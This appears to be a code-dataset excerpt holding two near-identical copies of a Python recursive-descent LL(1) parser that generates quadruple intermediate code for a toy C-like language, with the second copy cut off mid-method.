edited_code
stringlengths
17
978k
original_code
stringlengths
17
978k
import os class NewT(): # 申请临时变量 def __init__(self, value): global newT_num self.value = value self.name = 'T' + str(newT_num) newT_num += 1 def __str__(self): return self.name def __repr__(self): return '\nname:{:10}value:{:5}'.format(self.name, self.value) def isdigit(self): return False class label(): def __init__(self, value=None): self.value = value def __repr__(self): return str(self.value) def __str__(self): return str(self.value) class Sequence(): # 四元式类 def __init__(self, action, p1='_', p2='_', result='_'): self.action = action self.p1 = p1 self.p2 = p2 self.result = result def __str__(self): return '{:5}{:10}{:10}{:10}'.format(str(self.action), str(self.p1), str(self.p2), str(self.result)) def __repr__(self): return '{:5}{:10}{:10}{:10}'.format(str(self.action), str(self.p1), str(self.p2), str(self.result)) class element(): # 每个符号的一些信息 def __init__(self, symbol, value, line): self.symbol = symbol self.value = value self.line = line # get each key by value dic = {'NUM': 'a', 'ID': 'b', 'if': 'c', 'else': 'd', 'for': 'e', 'while': 'f', 'int': 'g', 'write': 'h', 'read': 'i', '(': '(', ')': ')', ';': ';', '{': '{', '}': '}', ',': ',', '+': '+', '-': '-', '*': '*', '/': '/', '=': '=', '>': '>', '<': '<', '>=': 'w', '<=': 'x', '!=': 'y', '==': 'z', '++': '1', '--': '2', '#': '#', 'main': '3', 'return': '4', '&&': '5', '||': '6', 'char': 's', 'float': 'r'} dic = dict(zip(dic.values(), dic.keys())) self.type = dic[symbol] def __str__(self): return '\n符号:' + self.symbol + '\t值:' + self.value + '\t行数:' + str(self.line) + '\t类型:' + self.type def __repr__(self): return '\n符号:' + self.symbol + '\t值:' + self.value + '\t行数:' + str(self.line) + '\t类型:' + self.type class MyException(Exception): def __init__(self, line, type, content): Exception.__init__(self) error = '{}ERROR Line:{} {}'.format(type, line, content) print(error) with open('Error.txt', 'a+') as f: f.write('{}\n'.format(error)) class Pro(): # 这里用于错误分析 def __init__(self): self.flag = False if os.path.exists('Error.txt'): os.remove('Error.txt') def _err(self, line, type, content): MyException(line, type, content) self.flag = True def __readRules(self, filename): with open(filename, encoding='UTF-8') as f: # 去掉最后的 '\n' ter_list = f.readline()[:-1].split('\t') dic = dict() for line in f.readlines(): line_list = line[:-1].split('\t') line_dic = dict() for index, rule in enumerate(line_list): if rule != '' and index != 0: line_dic[ter_list[index]] = rule dic[line_list[0]] = line_dic return dic def createSymbolList(self, input_str, map_list, map_line): # 建立符号表 # 词法分析给出的所有元素 self.list = [] for i, ch in enumerate(input_str): self.list.append(element(ch, map_list[i], map_line[i])) # 符号表 self.chart = dict() # 函数名表 self.function = dict() # 四元式表 self.seq_list = list() self.seq_num = 0 self.seq_index = 0 self.val = 0 global newT_num newT_num = 0 # 临时变量表 self.temp_list = list() def analysis(self, filename): # 读取规则获得规则表 # 这里打开的是LL1.txt,为了获取规则 # 大致读取内容如下: {'F': {'f': 'F->f(M)D'}, 'H': {'h': 'H->hN;'}, '9': {')': '9->@', ',': '9->,V'}, 'I': {'i': 'I->ib;'}, 'J': {'{': 'J->{C}'} self.rule = self.__readRules(filename) # self.ch为当前的字符 self.ch = self.list.pop(0) # Z开始文法 self._Z() def FIRST(self, symbol, ch): # ch在不在symbol的first集 if ch in self.rule[symbol]: return True return False def FOLLOW(self, symbol, ch): # ch在不在symbol的follow集 if ch in self.rule[symbol] and self.rule[symbol][ch].split('->')[1] == '@': return True return False def getNextch(self): self.ch = self.list.pop(0) def _Write(self): if os.path.exists('Sequence.txt'): os.remove('Sequence.txt') with open('Sequence.txt', 'a+') as f: for i, seq in enumerate(self.seq_list): f.write('{:2}[{}]\n'.format(i, seq)) if os.path.exists('Parameters.txt'): os.remove('Parameters.txt') with open('Parameters.txt', 'a+') as f: for i in self.chart.keys(): f.write('name:{:2} value:0\n'.format(i)) for i in self.temp_list: f.write('name:{:2} value:0\n'.format(i.name)) if os.path.exists('seq_index.txt'): os.remove('seq_index.txt') with open('seq_index.txt', 'w') as f: f.write(str(self.seq_index)) def _op(self, op, p1, p2): ''' :param op: 运算符 :param p1: 运算数1 :param p2: 运算数2 :return: ''' if op == '+': return p1 + p2 elif op == '-': return p1 - p2 elif op == '*': return p1 * p2 elif op == '/': return p1 // p2 elif op == '>': if p1 > p2: return 1 return 0 elif op == '<': if p1 < p2: return 1 return 0 elif op == '==': if p1 == p2: return 1 return 0 elif op == '>=': if p1 >= p2: return 1 return 0 elif op == '<=': if p1 <= p2: return 1 return 0 elif op == '!=': if p1 != p2: return 1 return 0 elif op == '&&': if p1 == 1 and p2 == 1: return 1 return 0 elif op == '||': if p1 == 0 and p2 == 0: return 0 return 1 def __VALUE(self, op, p1, p2): p1_t = 0 p2_t = 0 t0 = 0 if isinstance(p1, NewT): p1_t = p1.value elif isinstance(p1, int): p1_t = p1 else: p1_t = self.chart[p1] if isinstance(p2, NewT): p2_t = p2.value elif isinstance(p2, int): p2_t = p2 else: p2_t = self.chart[p2] if isinstance(p1, int) and isinstance(p2, int): t0 = self._op(op, p1_t, p2_t) else: t0 = NewT(self._op(op, p1_t, p2_t)) self.temp_list.append(t0) self.seq_list.append(Sequence(action=op, p1=p1, p2=p2, result=t0)) self.seq_num += 1 return t0 def _Z(self): if self.ch.symbol == 'g': self.getNextch() self._Y() print('') self._Write() else: # 抛出缺少int self._err(self.ch.line, 'TYPE-', 'Wrong type define') # line type content def _Y(self): f_name = self.ch.value self.function[f_name] = label() self.function[f_name + "_main"] = label() if self.ch.symbol == 'b': self.getNextch() if self.ch.symbol == '(': self.getNextch() self._X() if self.ch.symbol == ')': self.getNextch() self.function[f_name].value = self.seq_num self._S() self.seq_list.append(Sequence(action='j', result=self.function[f_name + "_main"])) self.seq_num += 1 self.seq_index = self.seq_num self.getNextch() if self.ch.symbol == 'g': self.getNextch() self._Y() else: self._err(self.ch.line, 'DECLARATION-', 'Incorrect function / variable declaration') print('1') # 不正确的函数定义 else: self._err(self.ch.line, 'LOST-', 'Lost )') # 缺少 ) else: self._err(self.ch.line, 'LOST-', 'Lost (') # 缺少( elif self.ch.symbol == '3': # 主函数 self.getNextch() if self.ch.symbol == '(': self.getNextch() if self.ch.symbol == ')': self.getNextch() self._S() else: self._err(self.ch.line, 'LOST-', 'Lost )') # print("缺少)") else: self._err(self.ch.line, 'LOST-', 'Lost )') # print("缺少(") else: # 错误的变量名或函数定义 self._err(self.ch.line, 'DECLARATION-', 'Incorrect function / variable declaration') if(self.ch.symbol!='('): self.getNextch() if self.ch.symbol == '(': self.getNextch() self._X() if self.ch.symbol == ')': self.getNextch() self.function[f_name].value = self.seq_num self._S() self.seq_list.append(Sequence(action='j', result=self.function[f_name + "_main"])) self.seq_num += 1 self.seq_index = self.seq_num self.getNextch() if self.ch.symbol == 'g': self.getNextch() self._Y() else: self._err(self.ch.line, 'DECLARATION-', 'Incorrect function / variable declaration') print('1') # 不正确的函数定义 else: self._err(self.ch.line, 'LOST-', 'Lost )') # 缺少 ) else: self._err(3, 'GRAMMAR-', 'Undefined variable name used') # 缺少( def _X(self): if self.ch.symbol == 'g': self.getNextch() name = self.ch.value if self.ch.symbol == 'b': self.chart[name] = 0 # 应该是传过来的参数值 self.getNextch() self._W() else: self._err(self.ch.line, 'DECLARATION-', 'Incorrect function / variable declaration') print('3') else: self._err(self.ch.line, 'TYPE-', 'Wrong type define') def _W(self): if self.ch.symbol == ',': self.getNextch() self._X() elif self.FOLLOW('W', self.ch.symbol): return def _V(self): if self.ch.symbol == 'b': self.getNextch() self._9() else: self._err(self.ch.line, 'DECLARATION-', 'Incorrect function / variable declaration') print('4') def _9(self): if self.ch.symbol == ',': self.getNextch() self._V() elif self.FOLLOW('9', self.ch.symbol): return def _S(self): print(self.ch) if self.ch.symbol == '{': self.getNextch() self._A() self._C() if self.ch.symbol == '4': self.getNextch() if self.ch.symbol == 'b': self.val = self.ch.value self.getNextch() if self.ch.symbol == ';': self.getNextch() if self.ch.symbol == '}': # 栈空,不读取下一个字符 pass else: # print("lose }") self._err(self.ch.line, 'LOST-', 'Lost }') else: # print("lose ;") self._err(self.ch.line, 'LOST-', 'Lost ;') else: # print("lose variable") self._err(self.ch.line, 'TYPE-', 'Wrong return type') else: # print("lose return") self._err(self.ch.line, 'LOST-', 'Lost return') elif self.FOLLOW('S', self.ch.symbol): return else: # print("lose {") self._err(self.ch.line, 'LOST-', 'Lost {') def _A(self): # First if self.FIRST('B', self.ch.symbol): self._B() self._A() elif self.FOLLOW('A', self.ch.symbol): return else: self._err(self.ch.line, 'TYPE-', 'Wrong type declaration') def _B(self): if self.ch.symbol == 'g': self.getNextch() if self.ch.symbol == 'b': # 获得名字添加符号表 name = self.ch.value self.getNextch() if self.ch.symbol == ';': self.chart[name] = 0 self.getNextch() else: self._err(self.ch.line, 'LOST-', 'Lost ;') else: self._err(self.ch.line, 'DECLARATION-', 'Wrong type declaration') else: self._err(self.ch.line, 'DECLARATION-', 'Wrong type declaration') def _C(self): if self.FIRST('D', self.ch.symbol): self._D() self._C() elif self.FOLLOW('C', self.ch.symbol): return else: self._err(self.ch.line, 'GRAMMAR-', 'Wrong Expression') def _D(self): if self.FIRST('E', self.ch.symbol): self._E() elif self.FIRST('F', self.ch.symbol): self._F() elif self.FIRST('G', self.ch.symbol): self._G() elif self.FIRST('I', self.ch.symbol): self._I() elif self.FIRST('H', self.ch.symbol): self._H() elif self.FIRST('J', self.ch.symbol): self._J() elif self.FIRST('L', self.ch.symbol): self._L() elif self.ch.symbol == ';': self.getNextch() else: self._err(self.ch.line, 'GRAMMAR-', 'Wrong Expression') def _E(self): if self.ch.symbol == 'c': self.getNextch() if self.ch.symbol == '(': self.getNextch() r = self._M() if self.ch.symbol == ')': label1 = label() label2 = label() self.seq_list.append(Sequence(action='j=', p1=0, p2=r, result=label1)) self.seq_num += 1 self.getNextch() self._D() self.seq_list.append(Sequence(action='j', result=label2)) self.seq_num += 1 label1.value = self.seq_num self._Q() label2.value = self.seq_num else: self._err(self.ch.line, 'LOST-', 'Lost )') else: self._err(self.ch.line, 'LOST-', 'Lost (') else: self._err(self.ch.line, 'GRAMMAR-', 'Wrong if expression') def _Q(self): if self.ch.symbol == 'd': self.getNextch() self._D() else: self._err(self.ch.line, 'GRAMMAR-', 'Wrong else expression') def _F(self): if self.ch.symbol == 'f': label1 = label() label2 = label() self.getNextch() label1.value = self.seq_num if self.ch.symbol == '(': self.getNextch() r = self._M() if self.ch.symbol == ')': self.getNextch() self.seq_list.append(Sequence(action='j=', p1=0, p2=r, result=label2)) self.seq_num += 1 self._D() self.seq_list.append(Sequence(action='j', result=label1)) self.seq_num += 1 label2.value = self.seq_num else: self._err(self.ch.line, 'LOST-', 'Lost )') else: self._err(self.ch.line, 'LOST-', 'Lost (') else: self._err(self.ch.line, 'GRAMMAR-', 'Wrong while expression') def _G(self): if self.ch.symbol == 'e': self.getNextch() label1 = label() label2 = label() label3 = label() label4 = label() if self.ch.symbol == '(': self.getNextch() self._K() if self.ch.symbol == ';': self.getNextch() label1.value = self.seq_num r = self._M() if self.ch.symbol == ';': self.getNextch() self.seq_list.append(Sequence(action='j=', p1=0, p2=r, result=label2)) self.seq_num += 1 self.seq_list.append(Sequence(action='j', result=label3)) self.seq_num += 1 label4.value = self.seq_num self._K() self.seq_list.append(Sequence(action='j', result=label1)) self.seq_num += 1 if self.ch.symbol == ')': self.getNextch() label3.value = self.seq_num self._D() self.seq_list.append(Sequence(action='j', result=label4)) self.seq_num += 1 label2.value = self.seq_num else: self._err(self.ch.line, 'LOST-', 'Lost )') else: self._err(self.ch.line, 'LOST-', 'Lost ;') else: self._err(self.ch.line, 'LOST-', 'Lost ;') else: self._err(self.ch.line, 'LOST-', 'Lost (') else: self._err(self.ch.line, 'GRAMMAR-', 'Wrong for expression') def _H(self): if self.ch.symbol == 'h': self.getNextch() t = self._N() if self.ch.symbol == ';': self.seq_list.append(Sequence(action='out', p1=t)) self.seq_num += 1 self.getNextch() else: self._err(self.ch.line, 'LOST-', 'Lost ;') else: self._err(self.ch.line, 'GRAMMAR-', 'Wrong write expression') def _I(self): if self.ch.symbol == 'i': self.getNextch() if self.ch.symbol == 'b': name = self.ch.value self.getNextch() if self.ch.symbol == ';': self.seq_list.append(Sequence(action='in', p1=name)) self.seq_num += 1 self.getNextch() else: self._err(self.ch.line, 'LOST-', 'Lost ;') else: self._err(self.ch.line, 'GRAMMAR-', 'Wrong write expression') else: self._err(self.ch.line, 'GRAMMAR-', 'Wrong read expression') def _J(self): if self.ch.symbol == '{': self.getNextch() self._C() if self.ch.symbol == '}': self.getNextch() else: self._err(self.ch.line, 'LOST-', 'Lost }') else: self._err(self.ch.line, 'LOST-', 'Lost {') def _K(self): if self.ch.symbol == 'b': name = self.ch.value self.getNextch() if self.ch.symbol == '=': self.getNextch() t = self._N() value = t if isinstance(value, NewT): value = t.value if name in self.chart: self.chart[name] = value self.seq_list.append(Sequence(action='=', p1=t, result=name)) self.seq_num += 1 if t in self.function: self.seq_list.append(Sequence(action='j', result=self.function[t])) self.seq_num += 1 else: self._err(self.ch.line, 'GRAMMAR-', 'Undefined variable name used') print('1') else: self._err(self.ch.line, 'GRAMMAR-', 'Wrong operation expression') print('2') else: self._err(self.ch.line, 'GRAMMAR-', 'Wrong expression') def _L(self): if self.FIRST('K', self.ch.symbol): self._K() if self.ch.symbol == ';': self.getNextch() else: self._err(self.ch.line, 'LOST-', 'Lost ;') else: self._err(self.ch.line, 'GRAMMAR-', 'Wrong expression') def _j(self): if self.FIRST('N', self.ch.symbol): # 注意 j k为非终结符 r = self._N() t = self._R(r) # t 存储条件运算后的临时变量值 return t else: self._err(self.ch.line, 'GRAMMAR-', 'Wrong Logic expression') def _k(self, t): # 注意 j k为非终结符 if self.ch.symbol == '6': self.getNextch() r = self._j() t1 = self.__VALUE('||', t, r) return t1 elif self.ch.symbol == '5': self.getNextch() r = self._j() # tmp = self._k(r) t1 = self.__VALUE('&&', t, r) return t1 elif self.FOLLOW('k', self.ch.symbol): return t else: self._err(self.ch.line, 'GRAMMAR-', 'Wrong Logic expression') def _M(self): if self.FIRST('j', self.ch.symbol): # 注意 j k为非终结符 t = self._j() if self.FIRST('k', self.ch.symbol): res = self._k(t) return res return t else: self._err(self.ch.line, 'GRAMMAR-', 'Wrong Logic expression') def _N(self): if self.FIRST('O', self.ch.symbol): p = self._O() t = self._T(p) return t else: self._err(self.ch.line, 'GRAMMAR-', 'Wrong Logic expression') def _R(self, r): if self.ch.symbol == '>': self.getNextch() p = self._N() t = self.__VALUE('>', r, p) return t elif self.ch.symbol == '<': self.getNextch() p = self._N() t = self.__VALUE('<', r, p) return t elif self.ch.symbol == 'w': self.getNextch() p = self._N() t = self.__VALUE('>=', r, p) return t elif self.ch.symbol == 'x': self.getNextch() p = self._N() t = self.__VALUE('<=', r, p) return t elif self.ch.symbol == 'z': self.getNextch() p = self._N() t = self.__VALUE('==', r, p) # print("####3333333") # print(r) # print(p) # print(t) return t elif self.ch.symbol == 'y': self.getNextch() p = self._N() t = self.__VALUE('!=', r, p) return t else: self._err(self.ch.line, 'GRAMMAR-', 'Wrong operation expression') print('3') def _T(self, p): if self.ch.symbol == '+': self.getNextch() r = self._O() t0 = self.__VALUE('+', p, r) # t0 = p + r # print ('加法操作' + str(p) + '+' + str(r) + '=' + str(t0)) # self.seq_list.append(Sequence(action='+',p1=p,p2=r,result=t0)) # self.seq_num += 1 t = self._T(t0) return t elif self.ch.symbol == '-': self.getNextch() r = self._O() t0 = self.__VALUE('-', p, r) # t0 = p - r # print ('减法操作' + str(p) + '-' + str(r) + '=' + str(t0)) # self.seq_list.append(Sequence(action='-',p1=p,p2=r,result=t0)) # self.seq_num += 1 t = self._T(t0) return t elif self.FOLLOW('T', self.ch.symbol): t = p return t else: self._err(self.ch.line, 'GRAMMAR-', 'Wrong operation expression') print('4') def _O(self): if self.FIRST('P', self.ch.symbol): p = self._P() t = self._U(p) return t else: self._err(self.ch.line, 'GRAMMAR-', 'Wrong operation expression') print('5') def _U(self, p): if self.ch.symbol == '*': self.getNextch() r = self._P() t0 = self.__VALUE('*', p, r) # t0 = p * r # print ('乘法操作' + str(p) + '*' + str(r) + '=' + str(t0)) # self.seq_list.append(Sequence(action='*',p1=p,p2=r,result=t0)) # self.seq_num += 1 t = self._U(t0) return t elif self.ch.symbol == '/': self.getNextch() r = self._P() t0 = self.__VALUE('/', p, r) # t0 = p//r # print ('除法操作' + str(p) + '/' + str(r) + '=' + str(t0)) # self.seq_list.append(Sequence(action='/',p1=p,p2=r,result=t0)) # self.seq_num += 1 t = self._U(t0) return t elif self.FOLLOW('U', self.ch.symbol): t = p return t else: self._err(self.ch.line, 'GRAMMAR-', 'Wrong operation expression') print('6') def _P(self): if self.ch.symbol == '(': self.getNextch() t = self._N() p = t if self.ch.symbol == ')': self.getNextch() return p else: self._err(self.ch.line, 'LOST-', 'Lost )') elif self.ch.symbol == 'a': p = int(self.ch.value) self.getNextch() return p elif self.ch.symbol == 'b': p = self.ch.value self.getNextch() p = self._8(p) return p else: self._err(self.ch.line, 'GRAMMAR-', 'Wrong expression') def _8(self, p): if self.ch.symbol == '(': self.getNextch() self._V() if self.ch.symbol == ')': self.getNextch() self.seq_list.append(Sequence(action='j', result=self.function[p])) self.function[p + "_main"].value = self.seq_num + 2 return self.val else: self._err(self.ch.line, 'LOST-', 'Lost )') else: return p
import os class NewT(): # 申请临时变量 def __init__(self, value): global newT_num self.value = value self.name = 'T' + str(newT_num) newT_num += 1 def __str__(self): return self.name def __repr__(self): return '\nname:{:10}value:{:5}'.format(self.name, self.value) def isdigit(self): return False class label(): def __init__(self, value=None): self.value = value def __repr__(self): return str(self.value) def __str__(self): return str(self.value) class Sequence(): # 四元式类 def __init__(self, action, p1='_', p2='_', result='_'): self.action = action self.p1 = p1 self.p2 = p2 self.result = result def __str__(self): return '{:5}{:10}{:10}{:10}'.format(str(self.action), str(self.p1), str(self.p2), str(self.result)) def __repr__(self): return '{:5}{:10}{:10}{:10}'.format(str(self.action), str(self.p1), str(self.p2), str(self.result)) class element(): # 每个符号的一些信息 def __init__(self, symbol, value, line): self.symbol = symbol self.value = value self.line = line # get each key by value dic = {'NUM': 'a', 'ID': 'b', 'if': 'c', 'else': 'd', 'for': 'e', 'while': 'f', 'int': 'g', 'write': 'h', 'read': 'i', '(': '(', ')': ')', ';': ';', '{': '{', '}': '}', ',': ',', '+': '+', '-': '-', '*': '*', '/': '/', '=': '=', '>': '>', '<': '<', '>=': 'w', '<=': 'x', '!=': 'y', '==': 'z', '++': '1', '--': '2', '#': '#', 'main': '3', 'return': '4', '&&': '5', '||': '6', 'char': 's', 'float': 'r'} dic = dict(zip(dic.values(), dic.keys())) self.type = dic[symbol] def __str__(self): return '\n符号:' + self.symbol + '\t值:' + self.value + '\t行数:' + str(self.line) + '\t类型:' + self.type def __repr__(self): return '\n符号:' + self.symbol + '\t值:' + self.value + '\t行数:' + str(self.line) + '\t类型:' + self.type class MyException(Exception): def __init__(self, line, type, content): Exception.__init__(self) error = '{}ERROR Line:{} {}'.format(type, line, content) print(error) with open('Error.txt', 'a+') as f: f.write('{}\n'.format(error)) class Pro(): # 这里用于错误分析 def __init__(self): self.flag = False if os.path.exists('Error.txt'): os.remove('Error.txt') def _err(self, line, type, content): MyException(line, type, content) self.flag = True def __readRules(self, filename): with open(filename, encoding='UTF-8') as f: # 去掉最后的 '\n' ter_list = f.readline()[:-1].split('\t') dic = dict() for line in f.readlines(): line_list = line[:-1].split('\t') line_dic = dict() for index, rule in enumerate(line_list): if rule != '' and index != 0: line_dic[ter_list[index]] = rule dic[line_list[0]] = line_dic return dic def createSymbolList(self, input_str, map_list, map_line): # 建立符号表 # 词法分析给出的所有元素 self.list = [] for i, ch in enumerate(input_str): self.list.append(element(ch, map_list[i], map_line[i])) # 符号表 self.chart = dict() # 函数名表 self.function = dict() # 四元式表 self.seq_list = list() self.seq_num = 0 self.seq_index = 0 self.val = 0 global newT_num newT_num = 0 # 临时变量表 self.temp_list = list() def analysis(self, filename): # 读取规则获得规则表 # 这里打开的是LL1.txt,为了获取规则 # 大致读取内容如下: {'F': {'f': 'F->f(M)D'}, 'H': {'h': 'H->hN;'}, '9': {')': '9->@', ',': '9->,V'}, 'I': {'i': 'I->ib;'}, 'J': {'{': 'J->{C}'} self.rule = self.__readRules(filename) # self.ch为当前的字符 self.ch = self.list.pop(0) # Z开始文法 self._Z() def FIRST(self, symbol, ch): # ch在不在symbol的first集 if ch in self.rule[symbol]: return True return False def FOLLOW(self, symbol, ch): # ch在不在symbol的follow集 if ch in self.rule[symbol] and self.rule[symbol][ch].split('->')[1] == '@': return True return False def getNextch(self): self.ch = self.list.pop(0) def _Write(self): if os.path.exists('Sequence.txt'): os.remove('Sequence.txt') with open('Sequence.txt', 'a+') as f: for i, seq in enumerate(self.seq_list): f.write('{:2}[{}]\n'.format(i, seq)) if os.path.exists('Parameters.txt'): os.remove('Parameters.txt') with open('Parameters.txt', 'a+') as f: for i in self.chart.keys(): f.write('name:{:2} value:0\n'.format(i)) for i in self.temp_list: f.write('name:{:2} value:0\n'.format(i.name)) if os.path.exists('seq_index.txt'): os.remove('seq_index.txt') with open('seq_index.txt', 'w') as f: f.write(str(self.seq_index)) def _op(self, op, p1, p2): ''' :param op: 运算符 :param p1: 运算数1 :param p2: 运算数2 :return: ''' if op == '+': return p1 + p2 elif op == '-': return p1 - p2 elif op == '*': return p1 * p2 elif op == '/': return p1 // p2 elif op == '>': if p1 > p2: return 1 return 0 elif op == '<': if p1 < p2: return 1 return 0 elif op == '==': if p1 == p2: return 1 return 0 elif op == '>=': if p1 >= p2: return 1 return 0 elif op == '<=': if p1 <= p2: return 1 return 0 elif op == '!=': if p1 != p2: return 1 return 0 elif op == '&&': if p1 == 1 and p2 == 1: return 1 return 0 elif op == '||': if p1 == 0 and p2 == 0: return 0 return 1 def __VALUE(self, op, p1, p2): p1_t = 0 p2_t = 0 t0 = 0 if isinstance(p1, NewT): p1_t = p1.value elif isinstance(p1, int): p1_t = p1 else: p1_t = self.chart[p1] if isinstance(p2, NewT): p2_t = p2.value elif isinstance(p2, int): p2_t = p2 else: p2_t = self.chart[p2] if isinstance(p1, int) and isinstance(p2, int): t0 = self._op(op, p1_t, p2_t) else: t0 = NewT(self._op(op, p1_t, p2_t)) self.temp_list.append(t0) self.seq_list.append(Sequence(action=op, p1=p1, p2=p2, result=t0)) self.seq_num += 1 return t0 def _Z(self): if self.ch.symbol == 'g': self.getNextch() self._Y() print('') self._Write() else: # 抛出缺少int self._err(self.ch.line, 'TYPE-', 'Wrong type define') # line type content def _Y(self): f_name = self.ch.value self.function[f_name] = label() self.function[f_name + "_main"] = label() if self.ch.symbol == 'b': self.getNextch() if self.ch.symbol == '(': self.getNextch() self._X() if self.ch.symbol == ')': self.getNextch() self.function[f_name].value = self.seq_num self._S() self.seq_list.append(Sequence(action='j', result=self.function[f_name + "_main"])) self.seq_num += 1 self.seq_index = self.seq_num self.getNextch() if self.ch.symbol == 'g': self.getNextch() self._Y() else: self._err(self.ch.line, 'DECLARATION-', 'Incorrect function / variable declaration') print('1') # 不正确的函数定义 else: self._err(self.ch.line, 'LOST-', 'Lost )') # 缺少 ) else: self._err(self.ch.line, 'LOST-', 'Lost (') # 缺少( elif self.ch.symbol == '3': # 主函数 self.getNextch() if self.ch.symbol == '(': self.getNextch() if self.ch.symbol == ')': self.getNextch() self._S() else: self._err(self.ch.line, 'LOST-', 'Lost )') # print("缺少)") else: self._err(self.ch.line, 'LOST-', 'Lost )') # print("缺少(") else: # 错误的变量名或函数定义 self._err(self.ch.line, 'DECLARATION-', 'Incorrect function / variable declaration') if(self.ch.symbol!='('): self.getNextch() if self.ch.symbol == '(': self.getNextch() self._X() if self.ch.symbol == ')': self.getNextch() self.function[f_name].value = self.seq_num self._S() self.seq_list.append(Sequence(action='j', result=self.function[f_name + "_main"])) self.seq_num += 1 self.seq_index = self.seq_num self.getNextch() if self.ch.symbol == 'g': self.getNextch() self._Y() else: self._err(self.ch.line, 'DECLARATION-', 'Incorrect function / variable declaration') print('1') # 不正确的函数定义 else: self._err(self.ch.line, 'LOST-', 'Lost )') # 缺少 ) else: self._err(3, 'GRAMMAR-', 'Undefined variable name used') # 缺少( def _X(self): if self.ch.symbol == 'g': self.getNextch() name = self.ch.value if self.ch.symbol == 'b': self.chart[name] = 0 # 应该是传过来的参数值 self.getNextch() self._W() else: self._err(self.ch.line, 'DECLARATION-', 'Incorrect function / variable declaration') print('3') else: self._err(self.ch.line, 'TYPE-', 'Wrong type define') def _W(self): if self.ch.symbol == ',': self.getNextch() self._X() elif self.FOLLOW('W', self.ch.symbol): return def _V(self): if self.ch.symbol == 'b': self.getNextch() self._9() else: self._err(self.ch.line, 'DECLARATION-', 'Incorrect function / variable declaration') print('4') def _9(self): if self.ch.symbol == ',': self.getNextch() self._V() elif self.FOLLOW('9', self.ch.symbol): return def _S(self): print(self.ch) if self.ch.symbol == '{': self.getNextch() self._A() self._C() if self.ch.symbol == '4': self.getNextch() if self.ch.symbol == 'b': self.val = self.ch.value self.getNextch() if self.ch.symbol == ';': self.getNextch() if self.ch.symbol == '}': # 栈空,不读取下一个字符 pass else: # print("lose }") self._err(self.ch.line, 'LOST-', 'Lost }') else: # print("lose ;") self._err(self.ch.line, 'LOST-', 'Lost ;') else: # print("lose variable") self._err(self.ch.line, 'TYPE-', 'Wrong return type') else: # print("lose return") self._err(self.ch.line, 'LOST-', 'Lost return') elif self.FOLLOW('S', self.ch.symbol): return else: # print("lose {") self._err(self.ch.line, 'LOST-', 'Lost {') def _A(self): # First if self.FIRST('B', self.ch.symbol): self._B() self._A() elif self.FOLLOW('A', self.ch.symbol): return else: self._err(self.ch.line, 'TYPE-', 'Wrong type declaration') def _B(self): if self.ch.symbol == 'g': self.getNextch() if self.ch.symbol == 'b': # 获得名字添加符号表 name = self.ch.value self.getNextch() if self.ch.symbol == ';': self.chart[name] = 0 self.getNextch() else: self._err(self.ch.line, 'LOST-', 'Lost ;') else: self._err(self.ch.line, 'DECLARATION-', 'Wrong type declaration') else: self._err(self.ch.line, 'DECLARATION-', 'Wrong type declaration') def _C(self): if self.FIRST('D', self.ch.symbol): self._D() self._C() elif self.FOLLOW('C', self.ch.symbol): return else: self._err(self.ch.line, 'GRAMMAR-', 'Wrong Expression') def _D(self): if self.FIRST('E', self.ch.symbol): self._E() elif self.FIRST('F', self.ch.symbol): self._F() elif self.FIRST('G', self.ch.symbol): self._G() elif self.FIRST('I', self.ch.symbol): self._I() elif self.FIRST('H', self.ch.symbol): self._H() elif self.FIRST('J', self.ch.symbol): self._J() elif self.FIRST('L', self.ch.symbol): self._L() elif self.ch.symbol == ';': self.getNextch() else: self._err(self.ch.line, 'GRAMMAR-', 'Wrong Expression') def _E(self): if self.ch.symbol == 'c': self.getNextch() if self.ch.symbol == '(': self.getNextch() r = self._M() if self.ch.symbol == ')': label1 = label() label2 = label() self.seq_list.append(Sequence(action='j=', p1=0, p2=r, result=label1)) self.seq_num += 1 self.getNextch() self._D() self.seq_list.append(Sequence(action='j', result=label2)) self.seq_num += 1 label1.value = self.seq_num self._Q() label2.value = self.seq_num else: self._err(self.ch.line, 'LOST-', 'Lost )') else: self._err(self.ch.line, 'LOST-', 'Lost (') else: self._err(self.ch.line, 'GRAMMAR-', 'Wrong if expression') def _Q(self): if self.ch.symbol == 'd': self.getNextch() self._D() else: self._err(self.ch.line, 'GRAMMAR-', 'Wrong else expression') def _F(self): if self.ch.symbol == 'f': label1 = label() label2 = label() self.getNextch() label1.value = self.seq_num if self.ch.symbol == '(': self.getNextch() r = self._M() if self.ch.symbol == ')': self.getNextch() self.seq_list.append(Sequence(action='j=', p1=0, p2=r, result=label2)) self.seq_num += 1 self._D() self.seq_list.append(Sequence(action='j', result=label1)) self.seq_num += 1 label2.value = self.seq_num else: self._err(self.ch.line, 'LOST-', 'Lost )') else: self._err(self.ch.line, 'LOST-', 'Lost (') else: self._err(self.ch.line, 'GRAMMAR-', 'Wrong while expression') def _G(self): if self.ch.symbol == 'e': self.getNextch() label1 = label() label2 = label() label3 = label() label4 = label() if self.ch.symbol == '(': self.getNextch() self._K() if self.ch.symbol == ';': self.getNextch() label1.value = self.seq_num r = self._M() if self.ch.symbol == ';': self.getNextch() self.seq_list.append(Sequence(action='j=', p1=0, p2=r, result=label2)) self.seq_num += 1 self.seq_list.append(Sequence(action='j', result=label3)) self.seq_num += 1 label4.value = self.seq_num self._K() self.seq_list.append(Sequence(action='j', result=label1)) self.seq_num += 1 if self.ch.symbol == ')': self.getNextch() label3.value = self.seq_num self._D() self.seq_list.append(Sequence(action='j', result=label4)) self.seq_num += 1 label2.value = self.seq_num else: self._err(self.ch.line, 'LOST-', 'Lost )') else: self._err(self.ch.line, 'LOST-', 'Lost ;') else: self._err(self.ch.line, 'LOST-', 'Lost ;') else: self._err(self.ch.line, 'LOST-', 'Lost (') else: self._err(self.ch.line, 'GRAMMAR-', 'Wrong for expression') def _H(self): if self.ch.symbol == 'h': self.getNextch() t = self._N() if self.ch.symbol == ';': self.seq_list.append(Sequence(action='out', p1=t)) self.seq_num += 1 self.getNextch() else: self._err(self.ch.line, 'LOST-', 'Lost ;') else: self._err(self.ch.line, 'GRAMMAR-', 'Wrong write expression') def _I(self): if self.ch.symbol == 'i': self.getNextch() if self.ch.symbol == 'b': name = self.ch.value self.getNextch() if self.ch.symbol == ';': self.seq_list.append(Sequence(action='in', p1=name)) self.seq_num += 1 self.getNextch() else: self._err(self.ch.line, 'LOST-', 'Lost ;') else: self._err(self.ch.line, 'GRAMMAR-', 'Wrong write expression') else: self._err(self.ch.line, 'GRAMMAR-', 'Wrong read expression') def _J(self): if self.ch.symbol == '{': self.getNextch() self._C() if self.ch.symbol == '}': self.getNextch() else: self._err(self.ch.line, 